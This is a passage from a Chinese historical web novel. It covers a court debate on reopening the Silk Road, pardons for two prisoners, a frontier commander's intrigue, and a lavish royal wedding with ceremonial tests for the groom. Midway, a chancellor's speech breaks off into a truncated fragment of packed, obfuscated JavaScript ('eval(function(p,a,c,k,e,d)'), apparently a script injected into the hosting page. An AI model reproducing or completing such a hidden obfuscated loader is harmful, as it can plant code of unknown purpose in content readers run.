章麓道:“汉朝清扫河西走廊,拓展西域,将羌人与突厥彻底隔开,由此行成了弧形包围圈,令汉朝处于进可攻退可守的形式。如今吐谷浑内部各部落也并非都是一条心,还有大小勃律和其他西戎三十六小国,其中不服如今吐谷浑王的大有人在。重走丝绸之路便可重新与这些国家与部落建立联系,若有人肯附庸于我朝自然甚好,若是没有,一个本就是死罪之人,是死是活都与你我无关。” 最后一句话说得狠绝,却打消了不少大臣的疑虑。 对啊,一个本就该死之人,如此施恩于他,定会感恩戴德,委以重任是他们善良,至于能不能完成任务重要吗?不重要。 “可是,派他出使西域,总要有护卫,那些护卫的生死……”有大臣提出了最后的疑虑。 章麓掀起衣摆跪地一拜,道:“臣女以为,可令五皇子李谨焕同行,拨付一百虞庆军承担护卫之责。” “你竟然要保下两个叛逆之人!”徐海指着她,呵斥道:“如此轻视律法!简直狂妄至极!” 章麓没理他,目光直视着泰安帝,坦荡道:“陛下!李谨焕是您的儿子,没有人比您更了解他。臣女只是从淳王殿下那里听闻他自幼便过目不忘,如此天赋异禀,最适合去往外邦。别人或许还要用纸笔记录,但他却能永远映刻在心里。” “陛下!绝不可开此等先例啊!”徐海焦急道。 明德殿陷入了一阵静默当中。 * 李鹤霖来到大理寺,李谨命正对着一堆卷宗比对誊抄。 他听到脚步声一抬头,就看见李鹤霖略微有些苍白的脸,他惊讶道:“三哥何时来的?竟没人来通报。” 他赶忙拉开一把椅子让他坐下,斟了一杯茶:“母后如今可好?” “能吃些流食,醒的时辰比前两日多了些。”李鹤霖面上挂着笑容:“徐院判说,待她伤口结痂,便无需忧心了。” “那便好。”李谨明猛灌了一杯茶,由觉不够,又连着喝了三杯才将渴意压下。 李鹤霖看他这副模样,有些心疼道:“被光顾着看卷宗,吃喝也要按时。” 李谨明放下茶盏,拜了拜手道:“淮南王的案子实在太复杂了,牵扯过多,若是全部拔出怕是要伤筋动骨,只能左右权衡,尽可能的让损失降到最低。” 说完,他意识到什么,连忙找补道:“弟弟并非不赞成三哥在登州的做法,只是朝中官员不是家世显赫便是有从龙之功,着实不好一刀切了。” 见他一副着急忙慌的模样,李鹤霖笑笑:“无妨,你不必在意,论朝堂谋略,你远胜于我,你的决定不会有错。” “三哥可别这般捧我,众生三千,三千模样,儿子成长,各有所长。龙生九子皆不同,每人的性格和所擅长之事皆不一样,就像我,若是真要让我去领兵打仗,只怕刚看见个砍头的就要晕过去了。” 李鹤霖直到他是为了安慰自己,故意夸张,便道:“你不必担忧,我早就看开了,袅袅说的对,水至清则无鱼,人至察则无徒。以前是我太过执拗,总想着要太阳而把影子丢了,可这世间哪儿有这么好的事啊,我早就看开了。” 李谨明叹息一声,不知道还能再说些什么。但他知道,以往那个英气勃发的三哥,此后怕是再也见不到了。 李鹤霖放下茶盏,道:“此番前来,我是想见一见张骁,不知可否?” 李谨明想了想,道:“倒是没什么问题,父皇还未给张锦定罪,张锦的族人目前只是羁押,还未到提审的时候,想看便去看看吧,只是不能太久。” 李鹤霖拍了拍他的肩膀,真诚道:“多谢。” 大理寺的监狱环境并不好,如今又关押了不少牵扯进宫变的官员家眷,整日里都在互相指责诘问,吵吵嚷嚷,狱卒们都嫌弃得不肯待在里面,只围坐在门口处的木桌前吃茶。 张锦的妻子早逝,在京只有张骁这个儿子。张骁被单独关押在一处,此时正坐在草垫上用干草做小动物,一只只栩栩如生的小动物在他灵巧的食指下逐个显现。 “德仁。”李鹤霖唤道。 张骁诧异抬头,见他一身水蓝色窄袖劲装,手中提着两个食盒,身后是搬着桌椅的狱卒,既高兴又不解的问道:“殿下怎么来了?皇后可大安?” “大安。我来看看你,有些话想跟你聊聊。”李鹤霖抬了抬下巴,狱卒赶忙将桌椅摆好,然后点头哈腰的说了几句好话,便躬身离开。 李鹤霖将酒菜摆在桌上,都是张骁平日里最喜欢吃的。 张骁看着一桌子酒菜,再看看面色苍白疲倦的李鹤霖,抿唇道:“对不起。” 李鹤霖诧异:“为什么突然道歉?” 张骁颓丧的说到:“我与父亲日日住在一个院子里,竟不知道他何时起了造反的心思。还有我二叔一家,怎么就做起了那些害人的勾当!我爹不知道管管,就放任他们如此下去!如今害人害己,呵,当真是因果报应。” “你委屈吗?”李鹤霖倒了一杯酒给他。 张骁慌忙接过:“怎么可能不委屈,但是我知道,造反是灭九族的死罪,我只后悔以前总是贪玩,没跟父亲交过心,他说什么总是不耐烦,若是我肯静下心来听听,说不定就能早些发现,从根源上阻止这件事的发生。”说罢,他闷下一杯酒,人也变得沉闷了起来。 “想出去吗?” “出去?”张骁惊讶的抬起头看向他,上下打量了好几遍才确认对方并不是在开玩笑:“这可是造反啊,陛下不会赦免我,也没有理由赦免我。” “未必。”李鹤霖道:“你父亲给袅袅提了个特别诱人的条件,交换你活命。” 张骁腾得一下站了起来,言语激动:“他又在想什么歪主意了!造反是死罪怎么能让郡主去冒险!且不说虞庆侯本就统领三道,拥兵六十万,颇受忌惮。多少人铆足了劲要抓他把柄将他拉下来,此时怎么能让郡主去冒险呢!绝对不行!你千万不能听我爹的!他就是个……是个……哎,他真是越老越糊涂!越老越偏执!” 见他着急的在牢里直转圈,李鹤霖站起来按住他的肩膀,强迫他重新坐下来:“你放心,袅袅自有成算,定不会被父皇怪罪,你难道不想知道你爹提了什么条件吗?” “你说。” “重走丝绸之路。” 张骁一愣,心中突然涌起一股激动之情:“你说真的?” “自然是真的。” 得到肯定,张骁心中更为激动,甚至在脑海里已经闪过丝绸之路上无数番邦部落的情况,他翻烂的那些书,摩挲至平滑的器物,编写了无数次却不敢给父亲看的《西域列国论》。 若真能重走汉朝丝绸之路,纵是死也无憾! 可片刻后他又泄了气:“这是大事,定然会任命信得过的人去,不会找我这个死囚的。” 李鹤霖见他眸中绽放的光彩陡然消失,不由失笑:“若是在盛世定然如此,但是如今朝中官员多半对此并不看好,也并不重视西行之路。如此以来,将你派去西行,于他们来讲只不过是比徒三千更严酷的惩罚罢了。毕竟,万一回不来,便是死都死在异邦。” 熄灭的心火再次燃烧起来,张骁坐直身子,道:“河西走廊乃是中原‘血库’,这里的精兵、战马、粮食是成就盛世的坚实基础。可惜前朝皇帝昏庸,将此地当做流放之地,并没有给予重视,滋养了不少匪患,也让羌人多次越过陇右侵袭河西四郡。陛下在潜邸时多次奏疏,却被置之不理。后来还是陛下反其道而行之,奏疏虞庆侯守北宁关不利,当削兵权,将‘左膀’蒋昌伯将军调出成德去往河西,才让河西暂时稳固下来。只是羌人如今势大,吐谷浑以物力镇压周边小国,将所有资源都收拢到自己手上。再加上受淮南王滋养多年,也不知道安西四郡的安宁还能维持多久。” “多则一年,少则三个月,吐谷浑必反。”李鹤霖道:“北宁关叛臣祁中岳如今是吐谷浑大宰相,他当年携带不少虞庆侯府属官研究出来的东西投奔吐谷浑王,可这些总有用完的一日,他不知更迭变通,必然会被吐谷浑放弃。如今又被断绝了来自淮南王的供奉,定然如热锅上的蚂蚁,急于稳定自己的地位。可他除了领兵打仗还会什么?若是将安西四郡攻下,献与吐谷浑王,至少可保自己百年无忧。而吐谷浑王也能凭借安西四郡稳坐西戎大王的位置,与吐蕃、西突厥分庭抗礼,还能趁机吞并大、小勃律等小国,扩充实力。” “可是百姓方才经历十年战乱,西洲侯又造反被杀,如今整个西边正是人心惶惶之际,西川必须派人去接替西洲侯镇守,弹压吐蕃,如此一来军费定然紧张。人乏民困、入不敷出,正是西戎诸国进攻大梁的最好时机。”张骁心中仓皇:“如此想来,到还真是遣使臣重走丝绸之路的好时机,只是此行一去当真是凶多吉少。” “你怕吗?” “怕什么!本就是要死之人,若是能在死前为国为民做些事,也算是死得其所了,总比蹲在这牢里等死强。”张骁长舒一口,压下心中的五味杂陈。 * 明德殿内,内阁官员皆被招来商讨丝绸之路之行的可行性。 年迈的尚书左仆射是被陛下遣人用轿子抬进来的,此刻正坐在高背椅上,一脸病容的看着章麓:“章姑娘,你乃是虞庆侯之女,以老朽对章氏一族的了解,章氏族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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章麓道:“是的。回纥自魏晋后再次卷土重来,纵横北方草原,给中原王朝极大的军事压力。前朝册封章氏先祖为虞庆侯,征讨回纥,用的便是‘远交近攻,离强合弱’的策略。致回纥分为东西两部,在踏平东回纥后又将西回纥分裂。如今北翟诸国的重点早已不在中原,而是一直在与东罗马联手,向波斯进攻。此番高句丽和鲜卑进攻辽城,回纥也只是在背后挑唆、给予粮草武器支持,却始终不敢与大晋面对面。可一旦让他们攻下波斯,其疆域又将抵达政治巅峰,东至金山、西至末禄河,南至天竺河上游喀布尔河流域。到那时,他们定然会再次盯上中原这块土地肥沃之地。” 王相权道:“如今的北翟各锅对西域绿洲并没有直接占领,而是实行间接控制,只单纯的汲取经济利益。西域小国若是能得大晋相助,定然会愿意倒向我们。” 鸿胪寺司丞道:“去年中秋时,臣属回纥的伊吾城主人道是向朝廷抵过帖子,直言愿将所统七城献出,以求庇佑。只是前朝末帝看不上,朝堂上又多是反对之声,便作罢。如今想来,倒是重走丝绸之路的突破口。” 尚书左仆射道:“若是能将伊吾城纳入我朝版图,那么高昌国定然也会倒向我朝,届时与他有经济矛盾的焉耆也会坐不住。” “正是!”章麓道:“千金城如今还未有路能直通高昌和焉耆,但臣女曾在家父手绘的西域地图上看到过高昌和焉耆的地理方位。高昌就在古丝绸之路上,买进卖出转手就是几倍的利润,他们如今依附西突厥,只能被摘取利益,若是依附大梁,定然能背靠生意发大财。而焉耆是南道,此商道荒废已久,若是重开商路两国定然互相竞争。在突厥如今式微的情况下,两国定然不会转头投靠另一方,那么他们的互相竞争对于我朝来说便是极为有利的。” 有几个妄想将虞庆侯拉下马的官员一听,心中有些犯嘀咕。 之前觉得北翟诸国对中原已然构不成威胁,倒是可以卸磨杀驴,顺势将虞庆侯拉下来换上自己的人。可若是当真要重走丝绸之路,那么对北翟诸国就必须继续实行弹压震慑,如今朝中除了章氏一族还有别人能做到吗? 王相权捋了捋胡须,赞赏的看向章麓道:“西汉在轮台设戊己校尉,派兵屯田,自此,汉人取代当地人成为高昌国的主要居民。至五胡十六国,置高昌郡;北魏又有北梁沮渠氏西迁,建立北凉王朝;北魏和平元年,北凉为荣然吞并,高昌人便趁机建立阚氏、张氏、马氏、鞠氏四代王国。国中推行的文字、语言、制度与中原并无差别,定然对中原更为亲厚。且高昌在诸西域小国中影响力甚大,若能得他倒戈,必然会带动周围一大片小国倒向我朝,这样一来,就能对吐谷浑与吐蕃带来一定威慑。” “臣以为,重走丝绸之路甚是可行!” 他们都不知道,张锦便是想到了这些,才会请见章麓。一个侯府女儿,一个准皇子正妃,既与朝廷有关联,又拥有章氏血脉,没有人更适合向陛下提出这项要求,也只有章家人才懂重走丝绸之路对章家只有利没有弊! “那这费用……谁出啊?国库可没钱了!”户部尚书突然出声道。 章麓微微一笑:“自是由千金城来出。” 如此,人、钱,均已解决,只待皇帝下旨了。 泰安帝扫了一眼神色各异的四部官员,又看了看面色激动的内阁和鸿胪寺众人,冷静道:“此时先由内阁拟定章程后再议。徐海留下,其他人先回去吧。” “臣告退!” 章麓顺着台阶而下,抵达最后一层时,回过头再次看向大门紧闭的明德殿。 王相权走过来,道:“二儿媳妇一直担忧着你,不若今日便在我府上用午饭吧?” 章麓推拒道:“晚辈现在便去瞧瞧她,安了她的心。只是午饭便不在贵府上用了,家父如今事忙,家中只有母亲一人,不好独留她自己用饭。” “倒是我的疏忽。”王相权笑笑:“今日你在殿中不卑不亢,字字珠玑,当真是虎父无犬子。我有个侄儿如今已经十岁,不喜吟诗作画,反倒对行军打仗极为感兴趣,颇为仰慕虞庆侯,不知章氏族学可收外姓之人?” “自是收的,右仆射大人若是想将侄儿送去,只需与家父言说一声便好,家父定然喜不自胜。” “哈哈,甚好甚好!” 明德殿中,泰安帝端坐于桌案之后,饮了口茶,看向徐海,沉声道:“可知朕为何将你留下?” 徐海惶恐的跪下道:“臣不修私德,有辱门楣,求陛下降罪!” 泰安帝道:“慎中啊,你觉得章麓为何要令张骁和李谨焕去西域,偏偏不提程卫昭?” 徐海盯着地面,吭哧了半天说到:“自是不想得寸进尺。”其实他心里不是这样想的,但方才刚被训斥过,哪儿还能再说对方狼子野心? 泰安帝笑笑,道:“慎中啊,从章麓身上便可窥章氏百年不倒的秘密。无论是朝堂还是地方,百姓亦或兵将,士农工商皆授课于族中子弟,不论男女姓氏一视同仁,他们所看所知远高于京中子弟。” 泰安帝看向神色不自然的徐海,接着道:“她之所以没有为程卫昭求情,是因为程卫昭确确实实有杀朕的心思,而无论张骁还是李谨焕,从心而言,从未想过要颠覆朝堂。程卫昭或许可惜,但并非找不到替代者,他行大逆不道之举若是依旧能被赦免,那朕的威信便一扫而空。” 徐海怔愣着,挣扎道:“可她想要赦免张骁和……” “李谨焕毕竟是朕的儿子。”泰安帝深深看了他一眼。 徐海一个哆嗦,连忙道:“臣知晓了,章姑娘大义,如此一来也算是两全其美。” 泰安帝又恢复了笑容:“你明白就好,不过此番去往西域倒不好叫章氏一族出钱,对吧?徐爱卿?” 徐海抬头望去,心中突然有种不好的预感。 “听闻聚粹轩素有‘千金阁’之称,每件器物都精美绝伦,总有人豪掷千金只为一宝。你既然在聚粹轩买了不少器物,想必家资丰厚,不如捐出十六万四千三百六十五两白银,以做此番重走丝绸之路的资本吧?” 十六万四千三百六十五两!徐海的冷汗顿时浸透衣衫! 德州出事时,他将前德州刺史孝敬他的器物,都变卖成现银了现银,藏在了安置外室的那所宅院里,不多不少正好是这个数! 陛下如何知道的?他的脑海中骤然想起方才章麓的话。 129. 第 129 章 泰安元年,初冬。 朝廷对重走丝绸之路的事吵了又吵,你来我往了一个多月。不过眼看着张锦、程卫昭等谋逆之人皆被灭了九族,唯张骁和李谨焕还活着,还从狱中提出,关押在颁政坊的一个三进小院里,便可知泰安帝对此时的态度了。 只是总有人不死心,想要挣扎一番。 消息也被有心人传到了鄯城,吐谷浑与大晋的第一道防线。 此时,鄯城守将康都那什正在帅帐里,借着烛光看传来的密信。 “若是重走丝绸之路,安西四镇的重要就会远超西平,只怕那时,蒋昌伯就要站在将军的脑袋上拉屎撒尿了。”鄯州刺史敬明天说到。 猛一拍桌,康都那什冷哼:“他休想!鄯州是康都氏的地盘,他一个河西节度使,也想把手伸到陇右?想得美!” 闻得此言,敬明天面色松缓,暗暗松了口气,拱手对康都那什赞扬道:“大将军英勇无比,自是强过蒋昌伯数百倍。只是蒋昌伯乃是虞庆侯亲信,且受泰安帝重用。而重走丝绸之路的事又是虞庆侯之女章麓提出的,蒋昌伯所有倚仗只怕会蹬鼻子上脸,给大将军难看。” 康都那什面色阴沉:“您想说什么?直说就是。” 敬明天低声道:“两年前淳王李鹤霖曾在青海湖遭遇吐谷浑大王子的伏击,被凤家二房救下,李鹤霖便趁机反打俘获了三千骑兵。马匹虽被他收缴,但人却留在了西平。日日在马场做苦役,想必积怨颇深。放走肯定是不行,万一被抓住就会被扣上勾结吐谷浑的帽子。可若是大将军施恩于他们,收其在麾下,必会被感恩戴德。这样一支队伍将会成为一步暗棋,以备不时之需。” 最后一句话说得缓慢,却点在了康都那什的心坎里。 说白了,康都那什有一半突厥的血,并不是个纯粹的汉人。 若不是河西被前朝攻占,建立安西四郡,他的父亲也不会背井离乡,来到鄯州为了活命而娶一个汉人女子,一个西平望族余氏的女儿。 其实敬明天担任鄯州刺史十二年来,对康都那什和康都屈利耶父子俩非常的了解。康都屈利耶曾是西突厥小王子,在东突厥被灭后,他虽父兄向南迁徙,却遭遇当时在任的虞庆侯的追击,致使与父兄离散,流落鄯州。 因着康都屈利耶的影响,身有半个突厥人血脉的康都那什对中原并没有好感,也没有归属感,心心念念的都是西北族地,因而对到往河西的陇右节度使都非常排斥。以前派来的都是些胆小怕事之徒,对拥有强悍骑兵的康都那什父子非常敬重,在整个陇右自然是康都那什父子说一不二。 然而,这样的好日子在蒋昌伯接任陇右节度使后发生了质的改变。 陇右节度使的官职高于由党项人担任的安西节度使,因而安西四镇也都在蒋昌伯的管理下。 蒋昌伯是个善战的将军,心术也非常的厉害,不到一个月便将安西四郡的官员都收复了,唯鄯州这块地暧昧不清,只是他也清楚,他的父亲有些害怕蒋昌伯。 可他不怕!他有整个西北最强大的骑兵,就连李鹤霖引以为傲的墨云铁骑都不是他的对手,蒋昌伯更不在话下。 “其实过年的时候,我曾去马场看过那些西羌人,听他们说,他们这群人是被淳王送来送死的,多是孤儿或者俘虏之子。有党项人也有回纥人。早先曾听闻过大将军的威名,就连虞庆侯曾经的左膀右臂祁中岳都对您颇为忌惮。也是他建议大皇子遣兵在青海湖设伏,而不是在临近西平的地方,就是怕着了您的眼。”敬明天又添了一把火。 康都那什饶有兴趣的问:“我能有如此广播的名声?” 敬明天瞪大双眼惊讶的看着康都那什:“大将军竟不知?您可是回纥王子之子,是高贵的回纥皇室血脉,若不是当年的变故,如今的回纥王必是您的父亲,您便是回纥王子,未来的回纥王。且你的骑兵所向披靡,因着您固守西平才让吐谷浑王一直找不到突破口进攻中原,只能去吞并西域其他小国,成为如今的西戎大王。” 这话听得康都那什十分舒心,脸上带着些自得的笑意。 敬明天笑得越发谄媚:“如今的泰安帝能顺利上位,也得亏您守住了这道关口,否则就前朝末帝那十几年的混乱,吐谷浑王的铁骑早就踏平中原了,哪儿还会迂回从祁中岳身上找出路。然而他怎么也没想到,祁中岳也是废物一个,引得回纥部落进了北宁关,杀了虞庆侯唯一的儿子,竟还是让虞庆侯的义子找到了可乘之机,将他们打了回去。” 本就好大喜功、自以为是的康都那什心情非常愉悦,他拍着大掌连喊了三个‘善’字,道:“这群人既然仰慕我,那我必不能让他们失望,这件事便麻烦敬大人了!只是他们不能聚集在一起,否则太过招眼定会被人猜忌,还是分散去各部才安全。” “大将军英明!” * 寅时正,章麓被晴放叫起来洗漱。 虞庆侯府的侍女小厮都腰上缠着红绸,头戴红花,各个喜气洋洋。 晴放将宫中送来的凤冠霞帔挂在木架上,仔细抚平每一道褶皱,梳理开每一条流苏,晴野在屋外指挥小厮们扫雪融冰,将红绸一路铺至正门前。 十一月初六,宜嫁娶,满城的百姓都跑来看热闹。 卯时初,天光乍破,迎亲的队伍自昭和宫出,经五楼门至咏巷,经明德殿、朱华门、行至太极殿前,礼部官员身着红衣,唱贺词,抬轿官持合扇立于新郎李鹤霖的身后,十六名左右卫抬起鸾凤轿子紧随而至,紧接着便是手捧红枣、花生、桂圆、莲子的十二名宫女。 之后还有负责撒铜板的内官,负责护卫的左右卫、翊卫等等。 李鹤霖穿过端门行至止车门时,后面抬聘礼游街的人才刚跟上一半,还有一半在殿前等待跟随入列。 王临之作为‘娘家人’此刻正与章引玉在虞庆侯府等候,永安伯世子作为章麓的表哥,自然也是娘家人。于是,李鹤霖这边只有贤王世孙马景川一人能随行迎娶,不少想要交好淳王的人便使出各种手段,要么在泰安帝面前暗示,要么在皇后那边明示,更有人找去了贤王府,年过耳顺之年的贤王夫妇不堪其扰,便推了儿媳秦国夫人出来应付。 泰安帝乐见其成,从中挑了五个六艺超绝的年轻子弟加入迎亲队伍。 这六人在止车门与李鹤霖一同骑马,穿过阊阖门离开内宫,直奔应门而去。 待迎亲队伍穿过承天门、朱雀门,踏入朱雀大街时,已然是辰时一刻。 街上尽是百姓,还有摊贩趁机卖些朝食、干果,不少得了喜钱的百姓都会去卖些红枣花生丢进鸾凤轿子,既是嘱咐也是沾喜气。 羽林卫挂红番于阙楼上,聘礼游街便正式开始。 虞庆侯府内,不少官员家眷的贺礼已经抬进了后院,而虞庆侯夫人正指挥着人在前院‘晒嫁妆’。 头一抬皆是赏玩,珍藏的画卷、书籍,雕刻精美的菩萨像、玉如意,不过当中最为令人惊叹的当属一人高的红珊瑚。章引玉激动的握着王临之的手道:“与我嫁妆中的那座一样,是章氏第一位虞庆侯受封时南诏送来的贺礼,是一对呢!这样完整又大的珊瑚,怕是举世难见第三座了!” 之后便是绫罗绸缎,胡锦六匹、梅兰竹松四个花纹的云锦各六匹、江南织造送来的缂丝六匹,海南的蛟纱六匹,还有苏罗、水云段、莲花绸等等。 紧接着是首饰头面,有男有女,以金银为主,上坠各类宝石、翡翠、珍珠,样样精美绝伦。 最后便是压箱底的金银,也是大家最为期待的部分。因淮南王的叛国大案,世人便知贯通中原与西戎的大同商号乃是章麓所经营的,便纷纷猜测她的压箱银会有多少。 为此,赌坊还开了赌局,每五千两为一阶,数字最近者为胜者。 十六抬金银被抬至前院,箱盖一开,众人纷纷倒吸了一口气。 十六抬箱子里,有六巷金砖,其余十箱均为官银,粗略估算有一百万两之多。 若是在以往,御史免不了弹劾一番,但因淳王刀斩三千贪官污吏,漕运再次握在了朝廷自己手中,户部尚书看着这一箱箱白花花的银子,虽心痒,但也知道漕运这几个月收了多少水银,远不是这一百万两能比的。 众位御史自然也知道这件事,再加上这嫁妆将来都是入淳王府的,而淳王定会是太子,等同于将来都是内宫私库的,便睁一只眼闭一只眼了。 只可惜他们不知道,淳王一点要这些银钱的意思都没有,甚至这些钱将来都会被淳王妃拿来生崽。 巳时末,迎亲的队伍环绕过长安城一圈,终于来到了虞庆侯府门前。 “各位!机会难得,今日可别轻易让淳王殿下进了门!”黎耀拍了拍王临之的肩膀道:“可别因为他是你兄弟就手下留情,你们琅琊王氏的名声可全系在你身上啊!” 王临之轻咳两声,道:“淳王殿下,不是我为难你,只是这成亲的礼节还是需要遵守的。咱们设的关卡也不多,就六关,烦请淳王殿下先过第一关。” 李鹤霖今日高兴:“说罢,要做什么?” 黎耀一拍手,只见一侯府小厮从角门处牵出一匹玉狮子,道:“此马与你的坐骑乃是一对,自是认你的,你只要能让这马跨过眼前的火盆,便算你过关!” 李鹤霖看了低头看了一眼摆放在大街中央的小火盆,道:“这有何难?” “好!这可是你说的!”黎耀高声道:“来人!将玉狮子的眼蒙上!众人皆知,马驹畏火,为了他不怕,便将这双眼蒙上,给淳王殿下降降难度。” 可是看不见之后,马儿的其他感官会被放大,感受到热度之后只会更恐惧,它不会知道这只是一个小小火盆,它只会认为这是一片熊熊烈焰,李鹤霖哭笑不得。 * 房间内,章麓已经穿戴好凤冠霞帔,章引玉与黄媛媛陪在左右,与她看嬷嬷送来的画册。 黄媛媛看得满脸通红,嗔怪道:“我可还没嫁人呢,你们怎么能拉我一起看!” 章引玉捂嘴乐道:“伯母不是在给你相看了吗?听闻是相中了河州伯的小儿子闻他今年春闱得了甲榜第十名,现在在中书省做主书,中书舍人庞大人对他赞誉有加,以后必定能成为大梁的肱股之臣。” 黄媛媛撇嘴道:“他长得一点都不好看。” 章引玉转了转眼睛,道:“你喜欢好看的啊,那可不行,这全天下的男子没人比我夫君更俊美的了!” “不害臊!”黄媛媛气的拍了她一下。 章麓看着她们笑闹,开心道:“我倒是知道一个人,完美符合媛媛的择婿条件。” “谁啊?” “邓塘孟国公的长孙。” 章引玉蹙眉:“他是庶长子,黄夫人向来在意嫡庶之别,怕是不会同意。” “嫡出庶出有什么关系?人品好有能力,且媛媛看得上便好。说得大不敬些,清河大长公主嫁的便是靖国公庶子,难不成谁还看不起她?”章麓道:“此番淳王迎亲,泰安帝钦点的陪行郎君里就有他,黄夫人若是聪明,定然能明白其中意思。别看这位孟元朗现在是庶子,但这世子之位八成就是他的了,待他成为世子,他便是嫡出,是大宗,是不是正妻所生便不重要了。” 黄媛媛却不这么乐观:“可邓塘乃是山南东道的军事重地,孟国公手握六万精兵,我父亲本就是武将,陛下怕是不会允许两个武将联姻。” 章麓道:“这你有所不知,孟国公年岁大了,向朝廷递了三次致仕的折子,只是陛下还靠着他去讨伐淮南王,因而一直压着不批。如今淮南王逃至南海,撺掇岭南道节度使起兵谋反,黄叔叔定然会担起讨伐淮南王之责,那么孟国公对于陛下的意义就不那么重要了,很有可能会批了这道折子。到时候孟国公一家便要指着这位庶长子过活了,他是今年秋闱的探花郎,李鹤霖说陛下有意让他入户部补缺,当是有重用之意。” 章引玉一合掌,道:“还真是如此,听闻孟国公二房和三房的后院极乱,孟国公狠下心分家,待致仕后以孟国公的功勋,陛下定是要他们一家上京的。到那时,世子之位若是真得在这孟元朗的身上,那么媛媛嫁给他,要么留在京城,要么随夫外派,怎么都跟孟家其他几房没有关系,也与邓塘的兵权没有关系了。” 黄媛媛被两人一唱一和的说红了脸,问道:“你们怎么都想到这么长远了!” 章引玉抱住黄媛媛的胳膊,道:“哪里就长远了!女子总要为自己的未来打算不是?难道你真的要盲婚哑嫁啊?今日那孟元朗既随行来了,等下你便去瞧瞧!若是看得上咱们就帮你去打探细节,若是看不上便罢!这天下这么多男子,总要选个可心的才是。” 正说着,院外的丫头跑来报信:“姑爷骑马跨过了火盆,破了第一关,已经入大门,行至二门外了!” 章引玉拉着黄媛媛:“走,咱们去二门内瞧热闹去!” “不行,袅袅还在这儿呢!我们不能丢下她!” 章麓笑到:“有晴野晴放和四位嬷嬷在呢,还是你的终身大事要紧。” “哎呀!怎得你也取笑我!”黄媛媛捂脸羞臊,被章引玉嬉闹着拉去了二门内。 虞庆侯府的二门外有一条长巷,左边通往马圈,右边通往棋院,穿过棋院便是后宅。这条巷子平日都是而门外的小厮传话时走的路,大约三人宽,两侧可见长长的半廊和一跨院东西厢房的后墙,高高的悬窗上雕刻着蝙蝠石榴的纹样,寓意着多子多福、福到平安。 待章引玉和黄媛媛行至二门内的半廊时,新郎官已经闯过了第二道关口‘数’,透过半廊的漏窗能清晰的瞧见外面热闹的人群,还有最前头气急败坏的黎耀。 王临之安慰道:“怎么就气性如此大了?不过是个游戏罢了,何必较真?” 黎耀道:“游戏?他投机取巧!心不诚!” “你这个大舅哥出得九章算术,题那么难我看了都一时半刻摸不着头脑,你瞧瞧这日头,还真想让他们就停在二门外半个时辰啊?” 黎耀知道是自己狭隘了,但嘴上不服输:“那题难吗?我十二岁便会做了!” 王临之笑到:“是是是,这满京城哪儿有人敢与你比算术?现在谁不知这大同商号背后的账房先生是你啊,一眼就能瞧出账目上的问题,连纸笔都不用动。” 黎耀被夸得洋洋得意,乌云密布的心情瞬间放晴,兴高采烈的领着众人沿着巷道往右走,去往棋院。 章引玉透过漏窗呼唤王临之:“修敬!修敬!” 王临之扭过头,看见趴在一处鹤鹿同春漏窗上的章引玉,连忙走过去:“你怎么来这儿了?棋院那边不是给女娘设的有观礼暖阁?” “我有话跟你说。”章引玉低声将方才的打算告诉了他。 王临之听过后面色有些奇怪:“这……喧宾夺主了吧?” 章引玉白了他一眼:“他们这几人哪儿比得上淳王殿下,再说了,那满阁楼的小娘子难道就是来看淳王殿下的?” 王临之一言难尽的看着自己的媳妇儿,憋气道:“我比他强多了!” 章引玉:“……”行叭,你说啥是啥。 “哎呀,你快点去,要不然他们就要过第三关了!”章引玉催促道。 王临之临走前依旧念念有词:“论六艺,我比他强得多!我可是白鹿洞书院案首。” 棋院的观礼暖阁上,一二三层的窗户都被打开,一众贵女趴在窗框上朝院中看去,只见竹林中的石桌上摆着四把乐器,分别是七弦琴、短笛、洞箫、笙。 黎耀正让李鹤霖选一样演奏,王临之匆匆赶来,身后还跟着一个抱着孔雀的小厮。 “前面一关你们投机取巧,作为惩罚,接下来的四关除了最后一关外,余下三关都需所有人参与其中才可!”王临之指着被小厮放下的孔雀,道:“你们各选乐器,除了淳王殿下必须要吹奏一段外,其余六人至少有一人所奏之曲能令孔雀开屏才算过关!” 孔雀开屏视为求偶或者攻击,这曲子若是能令孔雀开屏,便只有激起它的攻击意图。 马景川第一个打退堂鼓:“打架我行,但奏曲我实在不在行。我就只会吹点简单的曲子,肯定做不到啊。” 王临之有目的的看向孟元朗:“不如便先从孟大公子开始?”然后又指着马景川道:“你也别想逃,既然吹得差就最有一个,自然也就衬托的其他人不同凡响。” 马景川瞪了他一眼,两部上前勒住他的脖颈,挠他痒痒:“使坏是不是!你结婚的时候我是怎么保护你的,你全忘了!恩将仇报!忘恩负义!” 周围人哄笑着,楼上的女娘们也以扇遮面笑作一团,唯孟元朗看着桌面上的乐器,有些拿不定主意。 黎耀见状,问道:“孟大公子可是有所顾虑?” 孟元朗一惊,抬头道:“小子对乐器只是略知一二,唯恐出丑……” “无妨!”李鹤霖一眼便知道他在顾虑什么,无非是介意自己的身份,在场的六个迎亲公子只他不是嫡子,又没有爵位在身,长久远离长安对京中权贵不了解,自然心存谨慎,不想太招眼。 但他了解王临之,方才他被章引玉叫住,片刻后就将南诏进贡的孔雀抱了来,这可是陛下赏赐给师傅的。还借口让六位迎亲公子也参与其中展现,并指定孟元朗第 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“《尚书·益稷》有载:‘箫韶九成,凤凰来仪。击石拊石,百兽率舞。’《箫韶》是虞舜时期的古谱,如今留存的已然不全,当下也有乐人试图补全残章,不过都是狗尾续貂罢了。此曲演奏虽易,但想奏得出彩却难。” 话音刚落,李鹤霖突然拿起短笛,合上了洞箫的声音,一高一低,宛若二龙戏珠、双凤共舞。 另有两位公子也不甘示弱,分别拿起笙和七弦琴,也合了进去,王临之抚掌合拍,一时之间,所有人顿觉陷入仙境,灵音绕耳,至幻至臻。 曲到终了,那孔雀缓缓展开了尾羽,阳光落在靓丽的羽毛上,绚出五彩神光。 “好!”众人这才回过神来,纷纷鼓掌高贺,这一关便算是过了。 之后,王临之没有再出难题为难,但依旧让迎亲公子都参与进来,不过最出彩的依旧是李鹤霖和孟元朗,直到最后一关时,李鹤霖看向孟元朗的眼神已经完全不一样了。 奇货可居,心中闪过这四个字,李鹤霖有了决断。 王临之和黎耀设置的入门关是按‘君子六艺’来的,最后一关便是‘礼’。 李鹤霖行至院门外,只见院里铺着八块绣着吉祥图案的薄垫,分别对应‘女子八雅’:琴、棋、书、画、诗、酒、花、茶。 